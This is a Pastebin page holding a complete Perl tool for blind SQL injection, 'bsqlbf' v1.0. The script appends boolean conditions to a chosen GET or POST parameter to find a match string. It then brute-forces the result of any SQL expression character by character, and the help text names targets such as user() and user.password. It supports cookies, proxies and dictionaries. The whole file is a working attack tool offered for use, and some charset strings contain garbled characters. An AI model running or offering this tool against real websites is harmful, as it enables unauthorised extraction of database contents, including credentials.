Advertisement
GreyPhantom

Blind SQL Injection Bruteforce

Dec 26th, 2012
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 11.89 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Blind SQL Injection POC. aramosf@unsec.net // http://www.unsec.net
  3. # Special thanks to !dSR (www.digitalsec.es)
  4. #
  5. #
  6. # CHANGELOG:
  7. # Sun Dec 11 11:01:34 CET 2005
  8. # + fixed automatch in POSTs
  9. # + better output
  10. # Mon Dec  5 18:30:03 CET 2005
  11. # + added -blind option (to specify which attribute have sql injection).
  12. # Tue Nov 29 17:31:54 CET 2005
  13. # + auto search match string (when they arent -match option)
  14. # Mon Nov 28 16:34:09 CET 2005
  15. # + Support for POST and GET methods (-method get // -method post).
  16. # + Cookies support (-cookie "blah=foo; moo=doo").
  17. # + UserAgent support (-uagent "SQL Blind tool").
  18. # Wed Nov 23 23:44:23 RST 2005
  19. # First version 0.1:
  20. # + code ripped from www.reversing.org <ilo[at]reversing.org> (thanks!)
  21.  
  22.  
  23. use LWP::UserAgent;
  24. use Getopt::Long;
  25. use strict;
  26.  
  27.  
  28. ###############################################################################
  29. my $default_debug = 0;
  30. my $default_length = 32;
  31. my $default_method = "GET";
  32. my $version = "1.0";
  33. my $default_useragent = "bsqlbf $version";
  34. my $default_dict = "dict.txt";
  35. my $default_sql = "version()";
  36. ###############################################################################
  37.  
  38.  
  39. $| = 1;
  40.  
  41. my ($args, $abc, $solution);
  42. my ($string, $char, @dic);
  43. my (%vars, @varsb);
  44. my ($lastvar, $lastval);
  45. my ($scheme, $authority, $path, $query, $fragment);
  46. my $hits = 0;
  47. my $usedict = 0;
  48. my $amatch = 0;
  49. my ($ua,$req);
  50.  
  51. ###############################################################################
  52. # Define GetOpt:
  53. my ($url, $test, $sql, $match, $uagent, $charset, $debug);
  54. my ($proxy, $proxy_user, $proxy_pass);
  55. my ($dict, $start, $length, $method, $cookie,$blind);
  56.  
  57. my $options = GetOptions (
  58.   'url=s'            => \$url,
  59.   'test=i'           => \$test,
  60.   'sql=s'            => \$sql,
  61.   'blind=s'        => \$blind,
  62.   'match=s'          => \$match,
  63.   'charset=s'      => \$charset,
  64.   'start=s'          => \$start,
  65.   'length=s'       => \$length,
  66.   'dict=s'         => \$dict,
  67.   'method=s'       => \$method,
  68.   'uagent=s'       => \$uagent,
  69.   'cookie=s'       => \$cookie,
  70.   'proxy=s'          => \$proxy,
  71.   'proxy_user=s'     => \$proxy_user,
  72.   'proxy_pass=s'     => \$proxy_pass,
  73.   'debug!'           => \$debug );
  74.  
  75. &help unless ($url);
  76.  
  77. #########################################################################
  78. # Default Options.
  79. $abc          = charset();
  80. $uagent     ||= $default_useragent;
  81. $debug  ||= $default_debug;
  82. $length     ||= $default_length;
  83. $solution   ||= $start;
  84. $method     ||= $default_method;
  85. $sql        ||= $default_sql;
  86.  
  87. &createlwp();
  88. &parseurl();
  89.  
  90. if ( ! defined($blind)) {
  91.         $lastvar = $varsb[$#varsb];
  92.         $lastval = $vars{$lastvar};
  93. } else {
  94.         $lastvar = $blind;
  95.         $lastval = $vars{$blind};
  96. }
  97.  
  98. if (defined($cookie)) { &cookie() }
  99.  
  100. if (!$match) {
  101.     print "\nTrying to find a match string...\n" if $debug eq 1;
  102.     $amatch = "1";
  103.     &auto_match();
  104. }
  105.  
  106.  
  107. &banner();
  108. &httpintro();
  109. &bsqlintro();
  110.  
  111. #########################################################################
  112. # Define CHARSET to use. Dictionary /// (TODO: fix ugly code)
  113.  
  114. $dict ||= $default_dict;
  115. open DICT,"$dict";  @dic=<DICT>; close DICT;
  116.  
  117. my $i;
  118. my $nodict = 0;
  119. for ($i=length($start)+1;$i<=$length;$i++) {
  120.     my $furl;
  121.     my $find = 0;
  122.     $abc = charset();
  123.     &bsqlintro if $debug eq 1;
  124.     print "\r trying: $solution ";
  125.     foreach (split/ */,$abc) {
  126.         $find = 0;
  127.         $char = ord();
  128.         $string = " AND MID($sql,$i,1)=CHAR($char)";
  129.         if (lc($method) eq "post") {
  130.            $vars{$lastvar} = $lastval . $string;
  131.         }
  132.         print "\x08$_";
  133.         $furl = $url;
  134.         $furl =~ s/($lastvar=$lastval)/$1$string/;
  135.         my $html=fetch("$furl");
  136.         $hits++;
  137.         foreach (split(/\n/,$html)) {
  138.             if (/\Q$match\E/) {
  139.                 my $asc=chr($char);
  140.                 $solution .= $asc;
  141.                 $find = 1;
  142.              }
  143.             last if $find eq "1";
  144.         }
  145.         last if $find eq "1";
  146.     }
  147.     if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }
  148.     if ($find eq "0" && $usedict eq "0") { last; };
  149. }
  150.  
  151. &result();
  152.  
  153. #########################################################################
  154. sub httpintro {
  155.     my ($strcookie, $strproxy, $i);
  156.     print "--[ http options ]"; print "-"x62; print "\n";
  157.     printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);
  158.     printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$uagent);
  159.     printf ("%12s %-50s\n","path:", $path);
  160.     foreach (keys %vars) {
  161.         $i++;
  162.         printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});
  163.     }
  164.     if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
  165.     printf ("%12s %-50s\n","cookies:",$strcookie);
  166.     if (! $proxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
  167.     printf ("%12s %-50s\n","proxy_host:",$strproxy);
  168.     if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
  169.     printf ("%12s %-50s\n","proxy_user:",$strproxy);
  170. }
  171.  
  172. sub bsqlintro {
  173.     my ($strstart, $strblind, $strlen, $strmatch, $strsql);
  174.     print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
  175.     if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
  176.     if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
  177.     printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
  178.     if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
  179.     if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
  180.     printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
  181.     printf ("%12s %-50s\n","charset:",$abc);
  182.     if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }
  183.     #printf ("%12s %-60s\n","$strmatch",$match);
  184.     print " $strmatch $match\n";
  185.     print "-"x80; print "\n\n";
  186. }
  187. #########################################################################
  188.  
  189. sub createlwp {
  190.     my $proxyc;
  191.     LWP::Debug::level('+') if $debug gt 3;
  192.     $ua = new LWP::UserAgent(
  193.         cookie_jar=> { file => "$$.cookie" });
  194.     $ua->agent("$uagent");
  195.     if (defined($proxy_user) && defined($proxy_pass)) {
  196.         my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
  197.         $proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
  198.         $proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
  199.     } else { $proxyc = $proxy; }
  200.    
  201.     $ua->proxy(['http'] => $proxyc) if $proxy;
  202. }  
  203.  
  204. sub cookie {
  205.     # Cookies check
  206.     if ($cookie || $cookie =~ /; /) {
  207.         foreach my $c (split /;/, $cookie) {
  208.             my ($a,$b) = split /=/, $c;
  209.             if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
  210.         }
  211.     }
  212. }
  213.  
  214. sub parseurl {
  215.  ###############################################################################
  216.  # Official Regexp to parse URI. Thank you somebody.
  217.     ($scheme, $authority, $path, $query, $fragment) =
  218.         $url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
  219.     # Parse args of URI into %vars and @varsb.
  220.     foreach my $varval (split /&/, $query) {
  221.         my ($var, $val) = split /=/, $varval;
  222.         $vars{$var} = $val;
  223.         push(@varsb, $var);
  224.     }
  225. }
  226.  
  227. sub charset {
  228.     if ($hits ne 0 && $nodict eq 0) {
  229.         my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;
  230.         foreach my $line (@dic) {
  231.             chomp $line;
  232.             if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {
  233.                 $foo = $line; $foo =~ s/\Q$solution\E//;
  234.                 foreach ((split/ */,$foo)) {
  235.                     if ($tmp{$_} ne "1" ) {
  236.                         $tmp{$_} = "1"; push (@b,$_);
  237.                     }
  238.                 }
  239.             }
  240.         }
  241.          if ($#b >= 0) {
  242.             foreach my $c (@b) { $abc .=$c;}
  243.             $usedict = $abc;
  244.             print "\nUsing a dictionary with this charset: $abc\n" if $debug eq 1;
  245.          } else {
  246.             $abc = chardefault()
  247.          }
  248.     } else {
  249.             $abc = chardefault()
  250.     }
  251.     return $abc;
  252. }
  253.  
  254. sub chardefault {
  255.     my $tmp;
  256.     $abc = $charset;
  257.     if (lc($charset) eq "md5") {
  258.         $abc = "abcdef0123456789\$.";
  259.     } elsif (lc($charset) eq "num") {
  260.         $abc = "0123456789";
  261.     } elsif (lc($charset) eq "all" || ! $charset) {
  262.         $abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}�@=/\\|#?�&�!<>��";
  263.     }
  264.     # If a dictionary has been used before, remove chars from current charset
  265.     if ($usedict ne 0) {
  266.         foreach (split(/ */, $usedict)) {
  267.             $abc =~ s/$_//;
  268.         }
  269.     }
  270.     $usedict = 0;
  271.     return $abc;
  272. }
  273.  
  274. sub auto_match {
  275.       $match = fmatch("$url");
  276. }
  277.  
  278.  
  279. #########################################################################
  280. # Show options at running:
  281. sub banner {
  282.     print "\n // Blind SQL injection PoC tool.\n";
  283.     print " // code ripped from http://www.reversing.org.\n";
  284.     print " // aramosf\@unsec.net / http://www.unsec.net\n";
  285.     print " // just another script for digitalsec.es friends!\n\n";
  286. }
  287.  
  288.  
  289. #########################################################################
  290. # Get differences in HTML
  291. sub fmatch {
  292.  my ($ok,$rtrn);
  293.  my ($furla, $furlb) = ($_[0], $_[0]);
  294.  my ($html_a, $html_b);
  295.  if (lc($method) eq "get") {
  296.     $furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;
  297.     $furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;
  298.     $html_a = fetch("$furla");
  299.     $html_b = fetch("$furlb");
  300.  } elsif (lc($method) eq "post") {
  301.    $vars{$lastvar} = $lastval . " AND 1=1";
  302.    $html_a = fetch("$furla");
  303.    $vars{$lastvar} = $lastval . " AND 1=0";
  304.    $html_b = fetch("$furla");
  305.    $vars{$lastvar} = $lastval;
  306.  }
  307.  my @h_a = split(/\n/,$html_a);
  308.  my @h_b = split(/\n/,$html_b);
  309.  foreach my $a (@h_a) {
  310.     $ok = 0;
  311.     if ($a =~ /\w/) {
  312.         foreach (@h_b) {
  313.             if ($a eq $_) {$ok = 1; }
  314.         }
  315.     } else { $ok = 1; }
  316.    $rtrn = $a;
  317.    last if $ok ne 1;
  318.  }
  319.  return $rtrn;
  320. }
  321.  
  322.  
  323. #########################################################################
  324. # Fetch HTML from WWW
  325. sub fetch {
  326.     my $res;
  327.     if (lc($method) eq "get") {
  328.         my $fetch = $_[0];
  329.         if ($cookie) {
  330.             $res = $ua->get("$fetch", Cookie => "$cookie");
  331.         } elsif (!$cookie) {
  332.             $res = $ua->get("$fetch");
  333.         }
  334.     } elsif (lc($method) eq "post") {
  335.         my($s, $a, $p, $q, $f) =
  336.         $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
  337.         my $fetch = "$s://$a".$p;
  338.         if ($cookie) {
  339.             $res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
  340.         } elsif (!$cookie) {
  341.             $res = $ua->post("$fetch",\%vars);
  342.         }
  343.     } else {
  344.         die "Wrong httpd method. Use -h for help\n";
  345.     }
  346.     my $html = $res->content();
  347.     return $html;
  348. }
  349.  
  350. sub result {
  351.     print "\r results:                                  \n" .
  352.      " $sql = $solution\n" if length($solution) gt 0 and $debug eq 0;
  353.     print "\n results:                                  \n" .
  354.      " $sql = $solution\n" if length($solution) gt 0 and $debug eq 1;
  355.     print " total hits: $hits\n";
  356. }
  357.  
  358.  
  359. sub help {
  360.     &banner();
  361.     print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";
  362.     print "\n options:\n";
  363.     print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";
  364.     print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";
  365.     print "\t\tuser() or all data available in the requested query, for\n";
  366.     print "\t\texample: user.password. Default: version()\n";
  367.     print " -blind:\tparameter to inject sql. Default is last value of url\n";
  368.     print " -match:\tstring to match in valid query, Default is try to get auto\n";
  369.     print " -charset:\tcharset to use. Default is all. Others charsets supported:\n";
  370.     print " \tall:\tabcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}�@=/\\|#?�&�!<>��\n";
  371.     print " \tnum:\t0123456789\n";
  372.     print " \tmd5:\tabcdef0123456789\$\n";
  373.     print " \tcustom:\tyour custom charset, for example: \"abc0123\"\n";
  374.     print " -start:\tif you know the beginning of the string, use it.\n";
  375.     print " -length:\tmaximum length of value. Default is $default_length.\n";
  376.     print " -dict:\t\tuse dictionary for improve speed. Default is dict.txt\n";
  377.     print " -method:\thttp method to use; get or post. Default is $default_method.\n";
  378.     print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";
  379.     print " -cookie:\thttp cookie header to use\n";
  380.     print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";
  381.     print " -proxy_user:\tproxy http user\n";
  382.     print " -proxy_pass:\tproxy http password\n";
  383.     print "\n example:\n bash# $0 -u http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";
  384.     exit(1);
  385. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement